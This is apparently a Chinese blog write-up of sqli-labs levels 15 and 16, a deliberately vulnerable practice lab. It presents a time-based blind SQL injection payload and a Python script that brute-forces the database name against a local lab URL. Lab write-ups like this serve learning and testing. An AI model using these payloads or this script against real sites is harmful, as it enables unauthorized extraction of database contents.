sqli-labs注入漏洞解析--less-15/16

第十五关:

加入单引号、双引号、括号等,都没有任何回显信息,这里可以判断为可能是时间盲注

单引号闭合成功

接下来尝试 时间盲注,当ascii为115时,停止1s,当改为其他时没有停止,这里就可以判断出注入点,欧克,直接上之前的脚本,稍作修改

a' or if(ascii(substr(database(),1,1))=115,sleep(1),1)#

import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-15/index.php"
#二分法
def inject_database(url):
    name = ''
    for i in range(1,20):
        for j in range(32,129):
            data  = {"uname":"ad' or ascii(substr(database(),%d,1)) = %d# " % (i, j),"passwd":"aaaaa"}
            r = requests.post(url,data=data)
            if "flag.jpg" in r.text:
                name +=chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

成功拿到数据库名,之后的操作和以前的第九关就是一样的了。

第十六关:

还是老套路,闭合方式发生了改变

简单换一下套路就成功拿下

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

duoba_an

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值